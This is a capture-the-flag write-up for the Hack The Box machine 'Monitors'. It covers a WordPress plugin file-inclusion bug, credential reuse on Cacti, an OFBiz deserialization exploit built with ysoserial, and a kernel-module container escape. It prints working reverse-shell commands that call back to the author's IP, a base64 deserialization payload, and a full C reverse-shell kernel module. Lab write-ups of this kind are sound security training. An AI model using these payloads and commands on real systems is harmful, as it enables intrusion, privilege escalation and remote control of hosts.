Monitors

Monitors is a hard machine from Hack The Box.

Enumeration

The first step for this spooky box is nmap:

nmap -sT -sC -sV -vv -min-rate 4000 -max-retries 1 -p- -oA enum/nmap_allports 10.10.10.238

PORT   STATE SERVICE REASON  VERSION
22/tcp open  ssh     syn-ack OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 ba:cc:cd:81:fc:91:55:f3:f6:a9:1f:4e:e8:be:e5:2e (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC5AeQDHYQGVg8GiNvPYiXYPseampZJusZb2Dbd2d1QIi7a/LGOO9ylbMgjxcve5euzCFBMSX2rVIp8zkUg3CCi7JYLpyQAeP0npjT/fB84dWbzt51Xmfir4qZTpBMf8Lw+ZFxEXv1UkGfejSZ3fjcuZ2hBBeUh63P2qcomVla/eUyR1dOIvJy8K1pl1WSXia6W2fJsBj/uowwe4+aMtWGVlzMNd+Tpp1Z8lg/a2jZTxkdIYvUkx/k0x0xrjsUhGiLgOoAWg4JvKeYoy+v/hhAjh6fB8Kw7jS1t1Si69cPadEQGB8NOMdyDv4EvoG3/8BvLpMgpHKzy1aHsJk9zqyej
|   256 69:43:37:6a:18:09:f5:e7:7a:67:b8:18:11:ea:d7:65 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBKHKAgNKkq5XDcAfsuuxZFMPf+iEHjoq9DUmOmg0cCDgpE90GNOZeoaI24IlwlrSdTWTRA9HNJ7DFyIkcHr37Dk=
|   256 5d:5e:3f:67:ef:7d:76:23:15:11:4b:53:f8:41:3a:94 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBi/L9gWCzbJ6GzFB1PsHZJco24eJW3wmC+a4Ul6fEe6
80/tcp open  http    syn-ack Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Site doesn't have a title (text/html; charset=iso-8859-1).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

The web server doesn’t like when I try to access it via IP address:

Pasted image 20210726162829

So I add monitors.htb to my /etc/hosts file to access it that way and I get a home page:

Pasted image 20210726163820

It’s a Wordpress site. Not much to be found clicking around, but I’ll start a wpscan in the background and see if it will turn up any actionable information.

wpscan --url http://monitors.htb -e -o wpscan.txt

Found an RFI vulnerability in a plugin called Spritz. That’s certainly promising. As a proof of concept, I’ll see if I can get it to show me /etc/passwd by accessing http://monitors.htb/wp-content/plugins/wp-with-spritz/wp.spritz.content.filter.php?url=/../../../..//etc/passwd.

Pasted image 20210726164413

Now that I know I can retrieve system files, I need to find files that might have sensitive info. To do that, I can use a fuzzer like wfuzz to run wordlists of system file paths and find them automatically.

wfuzz -w /usr/share/seclists/Fuzzing/LFI/LFI-gracefulsecurity-linux.txt http://monitors.htb/wp-content/plugins/wp-with-spritz/wp.spritz.content.filter.php?url=/../../../../..FUZZ

After running a few different lists through wfuzz, eventually I discover /etc/apache2/sites-enabled/000-default.conf.

Pasted image 20210727103601

This file contains a reference to a virtual host at cacti-admin.monitors.htb, which I will add to my /etc/hosts/file. I’ll get back to that in a minute. I’m gonna keep going through the files wfuzz found.

Looking into /etc/apache2/sites-enabled/monitors.htb.conf lets me know that the webroot of monitors.htb is at /var/www/wordpress. With that in mind, I should be able to locate wp-config.

curl http://monitors.htb/wp-content/plugins/wp-with-spritz/wp.spritz.content.filter.php?url=/../../../../../var/www/wordpress/wp-config.php

// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define( 'DB_NAME', 'wordpress' );

/** MySQL database username */
define( 'DB_USER', 'wpadmin' );

/** MySQL database password */
define( 'DB_PASSWORD', 'BestAdministrator@2020!' );

As expected, wp-config yields some SQL credentials. Those may be useful eventually. Back to Cacti.

Pasted image 20210727104651

A login page. How about I try those credentials I just found? admin:BestAdministrator@2020! gets me in.

Pasted image 20210727104818

I’ve never heard of Cacti before. Some quick research tells me a bit about it. A “monitoring and fault management framework”.

Pasted image 20210727105044

Exploitation

Looking around, there’s not much data being hosted or monitored by the app and I’m not finding anything too interesting. Maybe searchsploit has something for me.

searchsploit cacti

Pasted image 20210727111656

This exploit matches the version number of 1.2.12(according to the homepage), so I’ll try this one first. With a valid password, I can gain remote command execution on the server. This exploit will send a reverse shell back my way.

python3 49810.py -t http://cacti-admin.monitors.htb -u admin -p BestAdministrator@2020! --lhost 10.10.14.22 --lport 443

Pasted image 20210727111734

Run the command, and I’m on as www-data.

Pasted image 20210727111756

Privilege Escalation

First thing I check on the box is the SQL database I learned about earlier, but there doesn’t seem to be anything all that promising. I did some more enumeration around the filesystem but checking sockets is what brings me to the next step.

ss -antp to check open TCP ports.

Pasted image 20210728102324

Ahh it seems that localhost:8443 is listening. I couldn’t see it from the outside, but I wonder what exactly “it” is. I’ll have to do some port forwarding to do some enumeration. I’ll use chisel to do that, but the only method of file transfer I could get to work was FTP.

On Kali : sudo systemctl start pure-ftpd to start the FTP service and cp /usr/bin/chisel /ftphome to put the chisel binary in my FTP directory.

On Monitors : ftp 10.10.14.22 kali:kali to connect to my FTP server and get chisel to pull the binary down. chmod +x chisel to make it executable.

Then, to start the port forward:

Kali : chisel server -p 8443 --reverse to start the server.

Monitors : ./chisel client 10.10.14.22:8443 R:9001:127.0.0.1:8443

With this setup I will be able to access Monitors port 8443 from port 9001 on my Kali machine. I have no idea what the service is but nmap may be able to tell me:

nmap -p8443 127.0.0.1

image

It’s HTTPS but navigating to it just brings up a 404 error. I may need to be more specific.

Pasted image 20210728105043

I can fuzz directories and try to find valid pages:

gobuster dir -u https://127.0.0.1:9001 -w /usr/share/seclists/Discovery/Web-Content/raft-small-words.txt -k

Pasted image 20210728120111

Everything seems to be redirecting, but trying to navigate to /content, and a couple others, brings me to https://127.0.0.1:9001/bi/control/main.

Pasted image 20210728120145

It’s an Apache OFBiz login, and OFBiz is “an open source enterprise resource planning system.” Credentials don’t seem to work. One relevant piece of info on this page is the version number, 17.12.01:

Pasted image 20210728121914

I kept doing some research into OFBiz and found an exploit for an unsafe Java deserialization vulnerability.

First things first, I’ll need ysoserial to generate the payloads:

wget https://jitpack.io/com/github/frohoff/ysoserial/master-d367e379d9-1/ysoserial-master-d367e379d9-1.jar

Then, I can use that JAR file to create a payload. The first payload I’ll use to pull down a simple reverse shell, written in a bash script.

shell.sh

#!/bin/bash
/bin/bash -i >& /dev/tcp/10.10.14.22/4444 0>&1

Creating the payload:

java -jar ysoserial-master-d367e379d9-1.jar CommonsBeanutils1 "wget 10.10.14.22/shell.sh -O /tmp/shell.sh" | base64 | tr -d "\n"

Pasted image 20210728125019

That command generates a huge string that, when included in a curl command to the vulnerable xmlrpc, will execute my command.

curl https://127.0.0.1:9001/webtools/control/xmlrpc -X POST -v -d '<?xml version="1.0"?><methodCall><methodName>ProjectDiscovery</methodName><params><param><value><struct><member><name>test</name><value><serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">rO0ABXNyABdqYXZhLnV0aWwuUHJpb3JpdHlRdWV1ZZTaMLT7P4KxAwACSQAEc2l6ZUwACmNvbXBhcmF0b3J0ABZMamF2YS91dGlsL0NvbXBhcmF0b3I7eHAAAAACc3IAK29yZy5hcGFjaGUuY29tbW9ucy5iZWFudXRpbHMuQmVhbkNvbXBhcmF0b3LjoYjqcyKkSAIAAkwACmNvbXBhcmF0b3JxAH4AAUwACHByb3BlcnR5dAASTGphdmEvbGFuZy9TdHJpbmc7eHBzcgA/b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmNvbXBhcmF0b3JzLkNvbXBhcmFibGVDb21wYXJhdG9y+/SZJbhusTcCAAB4cHQAEG91dHB1dFByb3BlcnRpZXN3BAAAAANzcgA6Y29tLnN1bi5vcmcuYXBhY2hlLnhhbGFuLmludGVybmFsLnhzbHRjLnRyYXguVGVtcGxhdGVzSW1wbAlXT8FurKszAwAGSQANX2luZGVudE51bWJlckkADl90cmFuc2xldEluZGV4WwAKX2J5dGVjb2Rlc3QAA1tbQlsABl9jbGFzc3QAEltMamF2YS9sYW5nL0NsYXNzO0wABV9uYW1lcQB+AARMABFfb3V0cHV0UHJvcGVydGllc3QAFkxqYXZhL3V0aWwvUHJvcGVydGllczt4cAAAAAD/////dXIAA1tbQkv9GRVnZ9s3AgAAeHAAAAACdXIAAltCrPMX+AYIVOACAAB4cAAABr7K/rq+AAAAMgA5CgADACIHADcHACUHACYBABBzZXJpYWxWZXJzaW9uVUlEAQABSgEADUNvbnN0YW50VmFsdWUFrSCT85Hd7z4BAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAE1N0dWJUcmFuc2xldFBheWxvYWQBAAxJbm5lckNsYXNzZXMBADVMeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRTdHViVHJhbnNsZXRQYXlsb2FkOwEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApFeGNlcHRpb25zBwAnAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGl0ZXJhdG9yAQA1TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsBAAdoYW5kbGVyAQBBTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApTb3VyY2VGaWxlAQAMR2FkZ2V0cy5qYXZhDAAKAAsHACgBADN5c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzJFN0dWJUcmFuc2xldFBheWxvYWQBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQAUamF2YS9pby9TZXJpYWxpemFibGUBADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BAB95c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzAQAIPGNsaW5pdD4BABFqYXZhL2xhbmcvUnVudGltZQcAKgEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsMACwALQoAKwAuAQAqd2dldCAxMC4xMC4xNC4yMi9zaGVsbC5zaCAtTyAvdG1wL3NoZWxsLnNoCAAwAQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwwAMgAzCgArADQBAA1TdGFja01hcFRhYmxlAQAdeXNvc2VyaWFsL1B3bmVyNjExNzM3MDQ3NDc5ODYBAB9MeXNvc2VyaWFsL1B3bmVyNjExNzM3MDQ3NDc5ODY7ACEAAgADAAEABAABABoABQAGAAEABwAAAAIACAAEAAEACgALAAEADAAAAC8AAQABAAAABSq3AAGxAAAAAgANAAAABgABAAAALwAOAAAADAABAAAABQAPADgAAAABABMAFAACAAwAAAA/AAAAAwAAAAGxAAAAAgANAAAABgABAAAANAAOAAAAIAADAAAAAQAPADgAAAAAAAEAFQAWAAEAAAABABcAGAACABkAAAAEAAEAGgABABMAGwACAAwAAABJAAAABAAAAAGxAAAAAgANAAAABgABAAAAOAAOAAAAKgAEAAAAAQAPADgAAAAAAAEAFQAWAAEAAAABABwAHQACAAAAAQAeAB8AAwAZAAAABAABABoACAApAAsAAQAMAAAAJAADAAIAAAAPpwADAUy4AC8SMbYANVexAAAAAQA2AAAAAwABAwACACAAAAACACEAEQAAAAoAAQACACMAEAAJdXEAfgAQAAAB1Mr+ur4AAAAyABsKAAMAFQcAFwcAGAcAGQEAEHNlcmlhbFZlcnNpb25VSUQBAAFKAQANQ29uc3RhbnRWYWx1ZQVx5mnuPG1HGAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQADRm9vAQAMSW5uZXJDbGFzc2VzAQAlTHlzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdldHMkRm9vOwEAClNvdXJjZUZpbGUBAAxHYWRnZXRzLmphdmEMAAoACwcAGgEAI3lzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdldHMkRm9vAQAQamF2YS9sYW5nL09iamVjdAEAFGphdmEvaW8vU2VyaWFsaXphYmxlAQAfeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cwAhAAIAAwABAAQAAQAaAAUABgABAAcAAAACAAgAAQABAAoACwABAAwAAAAvAAEAAQAAAAUqtwABsQAAAAIADQAAAAYAAQAAADwADgAAAAwAAQAAAAUADwASAAAAAgATAAAAAgAUABEAAAAKAAEAAgAWABAACXB0AARQd25ycHcBAHhxAH4ADXg=</serializable></value></member></struct></value></param></params></methodCall>' -k  -H 'Content-Type:application/xml''

After starting a webserver via sudo python -m SimpleHTTPServer 80, I get a hit, and my reverse shell script has been downloaded to the target:

Pasted image 20210728125128

With my malicious bash script in place, I can create another payload to execute it:

java -jar ysoserial-master-d367e379d9-1.jar CommonsBeanutils1 "bash /tmp/shell.sh" | base64 | tr -d "\n"

I start a netcat listener in another terminal, and I’ve gotten another shell, but, curiously, not on Monitors.

Pasted image 20210728125755

It seems I’ve become root, but not the root I was looking for. I’ve gone from being www-data on Monitors to root inside of a container. Looks like I’ve still got a ways to go before I root this box. That, unfortunately, means more enumerating. Woo.

Privilege Escalation (for real this time)

The first thing I notice is that this container is on a different network interface. The IP is 172.17.0.2, as seen from the output of ip address:

Pasted image 20210728130331

Looking back at Monitors I see that the interface is called docker0 and it also has an assigned IP address in that range.

image

The Docker host, Monitors, is acting as the gateway for the 172.17.0.0/16 network. That’s good to know, but not exploitable, so I’ll keep looking. Eventually, I come across an interesting capability, using capsh --print to view the possibilities.

Pasted image 20210728150506

cap_sys_module is a capability that allows the container to load modules into the host’s kernel. This blogpost has a walkthrough. I’ll have to write a reverse shell that I can then compile on the container and exploit the host. That file is called reverse-shell.c:

#include <linux/kmod.h>
#include <linux/module.h>
MODULE_LICENSE("GPL");
MODULE_AUTHOR("AttackDefense");
MODULE_DESCRIPTION("LKM reverse shell module");
MODULE_VERSION("1.0");
char* argv[] = {"/bin/bash","-c","bash -i >& /dev/tcp/172.17.0.2/4444 0>&1", NULL};
static char* envp[] = {"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", NULL };
static int __init reverse_shell_init(void) {
return call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);
}
static void __exit reverse_shell_exit(void) {
printk(KERN_INFO "Exiting\n");
}
module_init(reverse_shell_init);
module_exit(reverse_shell_exit);

I also need a MakeFile to build the module:

obj-m +=reverse-shell.o
all:
	make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
clean:
	make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean

This reverse shell will call back to a listener, crucially, on the container, not my own host. I’ll need to move a copy of nc over to the container with the exploit files, as nc is not present. I’ll do that now by pulling all 3 files from my webserver with wget:

wget http://10.10.14.22/reverse-shell.c
wget http://10.10.14.22/Makefile
wget http://10.10.14.22/nc

Now that the files are in place, I can run make to build the module. I do, but I get an error.

Pasted image 20210728150916

If I look back at the MakeFile I got from the blog post, it’s using uname -r to determine the kernel version. If I check it manually, I see that it returns 4.15.0-151-generic.

Pasted image 20210728151358

That’s all well and good, but why won’t it build the module? Looking into /lib/modules reveals the answer:

Pasted image 20210728151505

The 4.15.0-151-generic module is not actually present, despite what uname says. No problem. I’ll edit MakeFile to use one of those 2 module options and go from there.

obj-m +=reverse-shell.o
all:
	make -C /lib/modules/4.15.0-142-generic/build M=$(PWD) modules
clean:
	make -C /lib/modules/4.15.0-142-generic/build M=$(PWD) clean

Re-transfer the necessary files, and run make again:

Pasted image 20210728151325

Fingers crossed, but it looks like it worked.

Pasted image 20210728151850

Finally, I run insmod reverse-shell.ko to load the module. I have my nc listener running on the container and I get a shell!

Pasted image 20210728150327

As a final note, this reverse shell to the container is enough for my purposes, but an easier, more persistent solution would be to use the kernel module exploit to write a public SSH key to /root/.ssh/authorized_keys, so as to avoid dealing with the port forward and Java exploit if I wanted to get back on as root.

Written on October 25, 2021